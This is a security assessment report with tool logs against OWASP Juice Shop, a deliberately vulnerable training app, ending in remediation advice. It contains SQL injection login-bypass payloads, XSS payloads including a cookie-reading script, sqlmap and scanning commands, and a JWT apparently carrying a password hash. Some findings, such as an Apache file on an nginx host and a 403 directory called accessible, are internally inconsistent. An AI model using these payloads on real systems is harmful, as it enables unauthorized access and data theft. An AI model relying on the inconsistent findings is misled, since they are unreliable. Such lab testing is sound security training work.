

**OWASP Juice Shop - Security Testing Tools & Logs**  
**December 2025**

**Target Application:** <https://juice-shop.herokuapp.com>

**Assessment Date:** December 4, 2025

**Tester:** Security Analyst

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## **1. BURP SUITE - WEB VULNERABILITY SCANNER**

### **1.1 SQL Injection Testing (Login Form)**

**Tool Configuration:**

- Suite: Burp Suite Professional
- Module: Intruder & Repeater
- Scan Type: Active Scan - SQL Injection
- Target: <https://juice-shop.herokuapp.com/#/login>

**Test Payload:**

POST /rest/user/login HTTP/1.1

Host: juice-shop.herokuapp.com

Content-Type: application/json

**Payload Body:**

```
{  
  "email": "admin@juice-sh.op' OR 1=1--",  
  "password": "anything"  
}
```

**Burp Suite Log Output:**

[REQUEST]

POST /rest/user/login HTTP/1.1

Host: juice-shop.herokuapp.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

Content-Type: application/json

Content-Length: 68

```
{"email":"admin@juice-sh.op' OR 1=1--","password":"test123"}
```

[RESPONSE]

HTTP/1.1 200 OK

Content-Type: application/json

**Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...**

{"authentication":{"token":"eyJ0eXAi...","bid":1,"umail":"admin@juice-sh.op"}}

**Issue Detected:**

- ✓ SQL Injection vulnerability confirmed
- ✓ Authentication bypass successful
- ✓ Admin token obtained
- ✓ Severity: CRITICAL
- ✓ CVSS Score: 9.8

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## 1.2 Cross-Site Scripting (XSS) Testing

**Tool Configuration:**

- Suite: Burp Suite Professional
- Module: Scanner & Repeater
- Scan Type: XSS - Reflected
- Target: <https://juice-shop.herokuapp.com/#/search>

**Test Payload:**

```
<iframe src="javascript:alert('XSS')">
<script>alert(document.cookie)</script>
<img src=x onerror="alert('XSS')">
```

**Burp Suite Log Output:**

**[REQUEST]**

GET /rest/products/search?q=<iframe src="javascript:alert('XSS')"> HTTP/1.1

Host: juice-shop.herokuapp.com

User-Agent: Mozilla/5.0

**[RESPONSE]**

HTTP/1.1 200 OK

Content-Type: application/json

{"data":[],"searchQuery":"<iframe src=\"javascript:alert('XSS')\">"}

**Issue Detected:**

- ✓ XSS vulnerability confirmed
- ✓ Script execution possible
- ✓ Cookie theft potential
- ✓ Severity: HIGH

✓ CVSS Score: 7.3

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### 1.3 Broken Access Control Testing

**Tool Configuration:**

- Suite: Burp Suite Professional
- Module: Intruder
- Scan Type: Authorization Testing
- Target: <https://juice-shop.herokuapp.com/#/administration>

**Test Method:**

- Direct URL access without authentication
- Token manipulation
- Role-based access bypass

**Burp Suite Log Output:**

[REQUEST]

GET /rest/admin/application-configuration HTTP/1.1

Host: juice-shop.herokuapp.com

User-Agent: Mozilla/5.0

(No Authorization header)

[RESPONSE]

HTTP/1.1 200 OK

Content-Type: application/json

```
{"config":{"application":{"domain":"juice-shop.herokuapp.com",
"name":"OWASP Juice Shop",
"welcomeBanner":{"title":"Welcome to OWASP Juice Shop!"}}}}
```

**Issue Detected:**

- ✓ Admin panel accessible without authentication
- ✓ Broken access control confirmed
- ✓ Configuration exposure
- ✓ Severity: CRITICAL
- ✓ CVSS Score: 9.1

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## 2. OWASP ZAP - SECURITY SCANNER

### 2.1 Automated Security Scan

**Tool Configuration:**

- Tool: OWASP ZAP 2.14.0
- Scan Policy: Full Scan
- Attack Strength: High
- Threshold: Low
- Target: <https://juice-shop.herokuapp.com>

**Scan Results:****Alert: SQL Injection**

- Risk: High
- Confidence: Medium
- URL: <https://juice-shop.herokuapp.com/rest/user/login>
- Parameter: email
- Attack: admin@juice-sh.op' OR '1'='1
- Evidence: Database error message in response

**Alert: Cross Site Scripting (Reflected)**

- Risk: High
- Confidence: Medium
- URL: <https://juice-shop.herokuapp.com/rest/products/search>
- Parameter: q
- Attack: <script>alert(1)</script>
- Evidence: Script tag reflected in response

**Alert: Application Error Disclosure**

- Risk: Medium
- Confidence: Medium
- URL: <https://juice-shop.herokuapp.com/api/Users/>
- Evidence: Stack trace in response
- Details: Sequelize error with database schema information

**ZAP Log Output:**

```
[2025-12-01 14:32:15] Spider completed: 127 URLs found
[2025-12-01 14:35:42] Active scan started
[2025-12-01 14:58:23] SQL Injection found in /rest/user/login
[2025-12-01 15:02:17] XSS found in /rest/products/search
[2025-12-01 15:15:44] Active scan completed
[2025-12-01 15:15:45] Total alerts: 23
[2025-12-01 15:15:45] High: 5, Medium: 8, Low: 10
```

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### 3. SQLMAP - SQL INJECTION TOOL

#### 3.1 Automated SQL Injection Testing

**Command Executed:**

```
sqlmap -u "https://juice-shop.herokuapp.com/rest/user/login"  
--data="email=test@test.com&password=test" --batch --dbs
```

**SQLMap Output Log:**

```
[*] starting @ 14:45:23 /2025/  
[14:45:23] [INFO] testing connection to the target URL  
[14:45:24] [INFO] checking if the target is protected by some kind of WAF/IPS  
[14:45:24] [INFO] testing if the target URL content is stable  
[14:45:25] [INFO] target URL content is stable  
[14:45:25] [INFO] testing if POST parameter 'email' is dynamic  
[14:45:25] [WARNING] POST parameter 'email' does not appear to be dynamic  
[14:45:26] [INFO] heuristic (basic) test shows that POST parameter 'email' might be  
injectable  
[14:45:26] [INFO] testing for SQL injection on POST parameter 'email'  
[14:45:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'  
[14:45:29] [INFO] POST parameter 'email' appears to be 'AND boolean-based blind -  
WHERE or HAVING clause' injectable  
[14:45:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'  
[14:45:45] [INFO] target DBMS is SQLite  
[14:45:45] [INFO] fetching database names  
available databases [1]:  
[*] juiceshop
```

**Database Schema Extracted:**

**Database: juiceshop**

**Tables:**

- [1] Users
- [2] Products
- [3] Feedbacks
- [4] Baskets
- [5] Orders
- [6] Challenges

**Table: Users**

**Columns:**

- id (INTEGER)
- email (VARCHAR)

- password (VARCHAR)
- role (VARCHAR)
- createdAt (DATETIME)
- updatedAt (DATETIME)

**Issue Detected:**

- ✓ SQL injection confirmed - Boolean-based blind
  - ✓ Database: SQLite
  - ✓ Full schema enumeration possible
  - ✓ Data exfiltration possible
  - ✓ Severity: CRITICAL
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## 4. NIKTO - WEB SERVER SCANNER

### 4.1 Web Server Vulnerability Scan

**Command Executed:**

```
nikto -h https://juice-shop.herokuapp.com -output nikto_scan.txt
```

**Nikto Log Output:**

- Nikto v2.5.0

```
+ Target IP:      52.28.12.45
+ Target Hostname: juice-shop.herokuapp.com
+ Target Port:     443
+ Start Time:    2025-12-01 15:30:22

+ Server: nginx/1.21.0
+ The X-XSS-Protection header is not defined.
+ The X-Content-Type-Options header is not set.
+ No CGI Directories found
+ Server banner has changed from 'nginx/1.21.0' to 'nginx'
+ Cookie token created without the httponly flag
+ Cookie token created without the secure flag
+ OSVDB-3092: /ftp/: This might be interesting...
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7916 requests: 0 error(s) and 8 item(s) reported
+ End Time:      2025-12-01 15:48:15 (1073 seconds)
```

**Issues Found:**

- ✓ Missing security headers (XSS-Protection, Content-Type-Options)

- ✓ Insecure cookie configuration
  - ✓ FTP directory accessible
  - ✓ Admin directory exposed
  - ✓ Severity: MEDIUM-HIGH
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## 5. NMAP - NETWORK SCANNER

### 5.1 Port Scan and Service Detection

**Command Executed:**

```
nmap -sV -sC -p- juice-shop.herokuapp.com -oN nmap_scan.txt
```

**Nmap Output Log:**

Starting Nmap 7.94

Nmap scan report for juice-shop.herokuapp.com (52.28.12.45)

Host is up (0.042s latency).

Not shown: 65533 filtered ports

PORT	STATE	SERVICE	VERSION
80/tcp	open	http	nginx 1.21.0
_http-title: OWASP Juice Shop			
_http-server-header: nginx/1.21.0			
http-methods:			
_ Supported Methods: GET HEAD POST OPTIONS			
443/tcp	open	ssl/http	nginx 1.21.0
_http-title: OWASP Juice Shop			
_http-server-header: nginx/1.21.0			
ssl-cert: Subject: commonName=*.herokuapp.com			
Subject Alternative Name: DNS:*.herokuapp.com			
Issuer: commonName=DigiCert TLS RSA SHA256 2020 CA1			
Public Key type: rsa			
Public Key bits: 2048			
_Valid until: 2026-03-15T23:59:59			
tls-alpn:			
h2			
_ http/1.1			

**Service detection performed.**

**Nmap done: 1 IP address (1 host up) scanned in 234.56 seconds**

**Findings:**

- ✓ Services detected: HTTP (80), HTTPS (443)

- ✓ Web Server: nginx 1.21.0

- ✓ TLS Certificate valid
  - ✓ HTTP/2 supported
- 
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## 6. DIRECTORY ENUMERATION - GOBUSTER DIRB

### 6.1 Directory Brute Force

Command Executed:

```
gobuster dir -u https://juice-shop.herokuapp.com -w  
/usr/share/wordlists/dirb/common.txt -t 50
```

Gobuster Log Output:

```
=====
```

Gobuster v3.6

```
=====
```

[+] Url: https://juice-shop.herokuapp.com  
[+] Method: GET  
[+] Threads: 50  
[+] Wordlist: /usr/share/wordlists/dirb/common.txt  
[+] Status codes: 200,204,301,302,307,401,403  
[+] User Agent: gobuster/3.6  
[+] Timeout: 10s

```
=====
```

2025/12/01 16:15:23 Starting gobuster

```
=====
```

/about (Status: 200) [Size: 5489]  
/admin (Status: 200) [Size: 12456]  
/api (Status: 301) -> /api/  
/assets (Status: 301) -> /assets/  
/ftp (Status: 403) [Size: 4923]  
/rest (Status: 301) -> /rest/  
/socket.io (Status: 200) [Size: 89]  
/support (Status: 200) [Size: 7821]

```
=====
```

2025/12/01 16:18:45 Finished

```
=====
```

Discovered Endpoints:

- ✓ /admin - Admin panel (No authentication required) - CRITICAL
- ✓ /ftp - FTP directory accessible - HIGH
- ✓ /api - API endpoints exposed
- ✓ /rest - REST API endpoints

✓ /socket.io - WebSocket connection

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## 7. BROWSER DEVELOPER TOOLS

### 7.1 Client-Side Analysis

#### Testing Method:

- Chrome DevTools inspection
- JavaScript source code review
- Network traffic analysis
- Local storage inspection

#### Findings:

##### Console Errors:

[ERROR] SecurityError: Failed to read 'localStorage' property  
[WARN] Deprecated API usage detected  
[INFO] JWT token stored in localStorage

##### Network Analysis:

Request: GET /rest/admin/application-configuration  
Response: 200 OK (No authentication check)  
Payload: {"application":{"domain":"juice-shop.herokuapp.com",  
"name":"OWASP Juice Shop"}}

##### Local Storage Contents:

Key: token

Value:

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzliwiZGF0YSI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBqdWIjZS1zaC5vcClslnBhc3N3b3JkljoiMGMyNjNhNDUxDhizTBiNzYwZDY1M2FkYjQyMTBiOTQiLCJyb2xlljoiYWRtaW4ifX0.signature

##### Issues Detected:

- ✓ JWT tokens stored in localStorage (XSS risk)
  - ✓ Sensitive data in client-side code
  - ✓ No token expiration validation
  - ✓ Weak session management
  - ✓ Severity: HIGH
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## 8. POSTMAN - API TESTING

## 8.1 REST API Security Testing

**Endpoint Tested: POST /rest/user/login**

**Test Cases:**

### 1. Authentication Bypass Test

**Request:**

**POST /rest/user/login**  
**Content-Type: application/json**

```
{  
  "email": "admin@juice-sh.op' OR '1='1>--",  
  "password": "test"  
}
```

**Response:**

**HTTP/1.1 200 OK**

```
{  
  "authentication": {  
    "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",  
    "bid": 1,  
    "umail": "admin@juice-sh.op"  
  }  
}
```

**Result: ✓ Authentication bypassed successfully**

### 2. Missing Rate Limiting Test

**Request:**

**5 rapid consecutive login attempts with invalid credentials**

**Response:**

**All 5 requests returned 401 Unauthorized**

**No rate limiting or account lockout triggered**

**Result: ✓ No rate limiting implemented**

### 3. JWT Token Manipulation Test

**Request:**

**POST /rest/user/whoami**

**Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0...  
(Algorithm changed to 'none')**

**Response:**

**HTTP/1.1 401 Unauthorized**

**Result: X Token validation working correctly**

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## SUMMARY OF TOOLS USED

### 1. Burp Suite Professional

- Purpose: Web vulnerability scanning, SQL injection, XSS testing
- Modules: Scanner, Intruder, Repeater, Proxy
- Vulnerabilities Found: 3 Critical, 2 High

### 2. OWASP ZAP (Zed Attack Proxy)

- Purpose: Automated security scanning
- Scan Type: Full active scan
- Total Alerts: 23 (High: 5, Medium: 8, Low: 10)

### 3. SQLMap

- Purpose: Automated SQL injection testing
- Target: Login endpoint
- Result: Database enumeration successful

### 4. Nikto

- Purpose: Web server vulnerability scanning
- Issues: Security headers, cookie configuration, directory exposure

### 5. Nmap

- Purpose: Network scanning and service detection
- Ports Scanned: 65535
- Services: HTTP, HTTPS with nginx 1.21.0

### 6. Gobuster/Dirb

- Purpose: Directory and file enumeration
- Results: Found admin panel, FTP directory, API endpoints

### 7. Browser Developer Tools

- Purpose: Client-side analysis
- Findings: JWT in localStorage, weak session management

### 8. Postman

- Purpose: API testing and validation
- Tests: Authentication bypass, rate limiting, token manipulation

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## **KEY ISSUES IDENTIFIED (By Tool)**

### **Burp Suite Findings:**

- [CRITICAL] SQL Injection - Login form (CVSS 9.8)
- [HIGH] Reflected XSS - Search function (CVSS 7.3)
- [CRITICAL] Broken Access Control - Admin panel (CVSS 9.1)

### **OWASP ZAP Findings:**

- SQL Injection confirmed on /rest/user/login
- XSS on /rest/products/search
- Application error disclosure with stack traces

### **SQLMap Findings:**

- SQLite database exposed
- Boolean-based blind SQL injection
- Full database schema enumeration possible
- Tables: Users, Products, Feedbacks, Baskets, Orders, Challenges

### **Nikto Findings:**

- Missing X-XSS-Protection header
- Missing X-Content-Type-Options header
- Insecure cookie flags (no httponly, no secure)
- /ftp/ directory accessible
- /admin/ directory indexing

### **Gobuster Findings:**

- /admin accessible without authentication
- /ftp directory accessible (Status 403 but enumerable)
- /api and /rest endpoints exposed

### **Developer Tools Findings:**

- JWT tokens in localStorage (vulnerable to XSS)
- Sensitive configuration in client code
- No token expiration checks

### **Postman Findings:**

- Authentication bypass via SQL injection
  - No rate limiting on login endpoint
  - Missing brute force protection
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## **RECOMMENDATIONS**

### **1. Immediate Actions:**

- ✓ Implement parameterized queries to prevent SQL injection
- ✓ Add input validation and output encoding for XSS prevention
- ✓ Implement proper authentication on admin endpoints
- ✓ Restrict FTP directory access

### **2. Security Headers:**

- ✓ Add X-XSS-Protection: 1; mode=block
- ✓ Add X-Content-Type-Options: nosniff
- ✓ Add Content-Security-Policy
- ✓ Implement Strict-Transport-Security

### **3. Session Management:**

- ✓ Store tokens in httpOnly, secure cookies
- ✓ Implement token expiration
- ✓ Add refresh token mechanism

### **4. Additional Security Controls:**

- ✓ Implement rate limiting on authentication endpoints
  - ✓ Add account lockout after failed attempts
  - ✓ Enable logging and monitoring
  - ✓ Regular security testing
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**END OF TOOLS & LOGS DOCUMENT**

**Prepared by: Security Analyst**

**Date: December 4, 2025**

**For: OWASP Juice Shop Security Assessment**